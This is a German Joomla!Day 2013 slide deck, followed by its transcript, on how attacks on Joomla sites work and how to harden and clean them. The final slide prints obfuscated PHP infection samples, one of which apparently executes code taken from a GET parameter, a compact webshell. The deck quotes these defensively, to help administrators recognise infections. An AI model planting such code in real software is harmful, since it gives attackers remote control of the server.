Angriffe auf Joomla
verstehen und verhindern.
Simon Samtleben
Joomla!Day Deutschland 2013
www.yagendoo.com
Simon Samtleben
@lemmingzshadow
Webentwickler @ yagendoo Media GmbH in Köln
www.yagendoo.com | lemmingzshadow.net
● PHP Entwicklung
● Joomla
● Websockets
● Serveradministration
● Debian
● Nginx
● Security
● yagendoo.com
● gulli.com
● anonym.to
● 3gstore.de
● iphoneohnevertrag.de
Inhalt
1.Wie funktionieren Angriffe auf Joomla?
1. Schwachstellen finden.
2. System „infizieren“.
3. Warum werden (Joomla) Webseiten angegriffen?
2.Wie kann ich mein System schützen?
1. Serverseitig
2. Joomla
3.Was tun wenn mein System kompromittiert wurde?
Schwachstellen finden
● Bruteforceing
– Joomla
– SSH/(S)FTP
● Google Dorks
● Sicherheitslücken
– SQL Injection
– RFC, LFC
Bild: webroot.com
Schwachstellen finden
● Bruteforceing
– Joomla
– SSH/(S)FTP
● Google Dorks
● Sicherheitslücken
– SQL Injection
– RFC, LFC
Bild: webroot.com
Schwachstellen finden
● Bruteforceing
– Joomla
– SSH/(S)FTP
● Google Dorks
● Sicherheitslücken
– SQL Injection
– RFC, LFC
System infizieren
● Vollständig automatisiert
● Typische „Injections“
– Webshells
– Iframes
– Javascripts (Cookie Bombs, ...)
– Cloaking/Redirects
– Sonstiges (IRC Bots, ...)
Bild: webroot.com
Bild: webroot.com
Warum werden (Joomla)
Webseiten angegriffen?
● Verbreitung von Malware
● Aufbau von Botnets
● E-Mail Spam
● Backlinks / SEO
● Gezielte Angriffe
– Stehlen von Daten
Die Masse macht's
Inhalt
1.Wie funktionieren Angriffe auf Joomla?
1. Schwachstellen finden.
2. System „infizieren“.
3. Warum werden (Joomla) Webseiten angegriffen?
2.Wie kann ich mein System schützen?
1. Serverseitig
2. Joomla
3.Was tun wenn mein System kompromittiert wurde?
Serverseitige Schutzmaßnahmen
● Auto IP-Blacklisting
● SSH Login nur über Keys
● Chroot für Projekte
● SFTP statt FTP
● Eigene SQL Benutzer pro Projekt
● Monitoring (Last, Prozesse, Netzwerk, …)
● Updates, Updates, Updates
Joomlaseitige Schutzmaßnahmen
● Nicht benötigte Erweiterungen löschen
– Auch bei „Schutzsoftware“ vorsichtig sein
– Vorsicht bei lange nicht aktualisierten Erweiterungen
● Regelmäßig auf Infektionen prüfen
– urlquery.net
– virustotal.com
– myjoomla.com
– Extensions
Joomlaseitige Schutzmaßnahmen
● Regelmäßige Backup
– Akeeba Backup
– Duply, Rsync, Snapshots, …
– Auch alte Backups vorhalten!
● Updates, Updates, UPDATES!
– Joomla & Extensions
– Newsletter, Blogs, Auto-Update, ...
Inhalt
1.Wie funktionieren Angriffe auf Joomla?
1. Schwachstellen finden.
2. System „infizieren“.
3. Warum werden (Joomla) Webseiten angegriffen?
2.Wie kann ich mein System schützen?
1. Serverseitig
2. Joomla
3.Was tun wenn mein System kompromittiert wurde?
Was tun wenn mein System
kompromittiert wurde?
● Don't Panic
– Keine wichtige Spuren löschen.
– Backup anlegen.
● Wenn möglich: Neu aufsetzen.
● Wenn nicht: Backup einspielen.
● Sonst: „Infektionen“ beseitigen.
Was tun wenn mein System
kompromittiert wurde?
● Infektionen sind schwer zu finden
– Einfach
● eval(base64_decode('...'));
– Schwieriger
● $eva1tYidakBcVSjr =
$eva1tYldakBcVSjr(chr(2687.5*0.016),
$eva1fYlbakBcVSir);
– Hacker :)
● $_[]++;$_[]=$_._;$_=$_[$_[+_]];$___=$__=$_[++
$__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++
$___.$___.++$_.$__.++$___; $_($_GET['p']);
Fragen?
www.yagendoo.com
lemmingzshadow.net
Vielen Dank für's Zuhören!

Joomla Security: Angriffe verstehen und verhindern (Joomladay 2013 Vortrag by yagendoo.com)

  • 1.
    Angriffe auf Joomla verstehenund verhindern. Simon Samtleben Joomla!Day Deutschland 2013 www.yagendoo.com
  • 2.
    Simon Samtleben @lemmingzshadow Webentwickler @yagendoo Media GmbH in Köln www.yagendoo.com | lemmingzshadow.net ● PHP Entwicklung ● Joomla ● Websockets ● Serveradministration ● Debian ● Nginx ● Security ● yagendoo.com ● gulli.com ● anonym.to ● 3gstore.de ● iphoneohnevertrag.de
  • 3.
    Inhalt 1.Wie funktionieren Angriffeauf Joomla? 1. Schwachstellen finden. 2. System „infizieren“. 3. Warum werden (Joomla) Webseiten angegriffen? 2.Wie kann ich mein System schützen? 1. Serverseitig 2. Joomla 3.Was tun wenn mein System kompromittiert wurde?
  • 4.
    Schwachstellen finden ● Bruteforceing –Joomla – SSH/(S)FTP ● Google Dorks ● Sicherheitslücken – SQL Injection – RFC, LFC
  • 5.
  • 6.
    Schwachstellen finden ● Bruteforceing –Joomla – SSH/(S)FTP ● Google Dorks ● Sicherheitslücken – SQL Injection – RFC, LFC
  • 7.
  • 8.
    Schwachstellen finden ● Bruteforceing –Joomla – SSH/(S)FTP ● Google Dorks ● Sicherheitslücken – SQL Injection – RFC, LFC
  • 9.
    System infizieren ● Vollständigautomatisiert ● Typische „Injections“ – Webshells – Iframes – Javascripts (Cookie Bombs, ...) – Cloaking/Redirects – Sonstiges (IRC Bots, ...)
  • 10.
  • 11.
  • 13.
    Warum werden (Joomla) Webseitenangegriffen? ● Verbreitung von Malware ● Aufbau von Botnets ● E-Mail Spam ● Backlinks / SEO ● Gezielte Angriffe – Stehlen von Daten
  • 14.
  • 15.
    Inhalt 1.Wie funktionieren Angriffeauf Joomla? 1. Schwachstellen finden. 2. System „infizieren“. 3. Warum werden (Joomla) Webseiten angegriffen? 2.Wie kann ich mein System schützen? 1. Serverseitig 2. Joomla 3.Was tun wenn mein System kompromittiert wurde?
  • 16.
    Serverseitige Schutzmaßnahmen ● AutoIP-Blacklisting ● SSH Login nur über Keys ● Chroot für Projekte ● SFTP statt FTP ● Eigene SQL Benutzer pro Projekt ● Monitoring (Last, Prozesse, Netzwerk, …) ● Updates, Updates, Updates
  • 17.
    Joomlaseitige Schutzmaßnahmen ● Nichtbenötigte Erweiterungen löschen – Auch bei „Schutzsoftware“ vorsichtig sein – Vorsicht bei lange nicht aktualisierten Erweiterungen ● Regelmäßig auf Infektionen prüfen – urlquery.net – virustotal.com – myjoomla.com – Extensions
  • 18.
    Joomlaseitige Schutzmaßnahmen ● RegelmäßigeBackup – Akeeba Backup – Duply, Rsync, Snapshots, … – Auch alte Backups vorhalten! ● Updates, Updates, UPDATES! – Joomla & Extensions – Newsletter, Blogs, Auto-Update, ...
  • 19.
    Inhalt 1.Wie funktionieren Angriffeauf Joomla? 1. Schwachstellen finden. 2. System „infizieren“. 3. Warum werden (Joomla) Webseiten angegriffen? 2.Wie kann ich mein System schützen? 1. Serverseitig 2. Joomla 3.Was tun wenn mein System kompromittiert wurde?
  • 21.
    Was tun wennmein System kompromittiert wurde? ● Don't Panic – Keine wichtige Spuren löschen. – Backup anlegen. ● Wenn möglich: Neu aufsetzen. ● Wenn nicht: Backup einspielen. ● Sonst: „Infektionen“ beseitigen.
  • 22.
    Was tun wennmein System kompromittiert wurde? ● Infektionen sind schwer zu finden – Einfach ● eval(base64_decode('...')); – Schwieriger ● $eva1tYidakBcVSjr = $eva1tYldakBcVSjr(chr(2687.5*0.016), $eva1fYlbakBcVSir); – Hacker :) ● $_[]++;$_[]=$_._;$_=$_[$_[+_]];$___=$__=$_[++ $__[]];$____=$_=$_[+_];$_++;$_++;$_++;$_=$____.++ $___.$___.++$_.$__.++$___; $_($_GET['p']);
  • 23.
  • 24.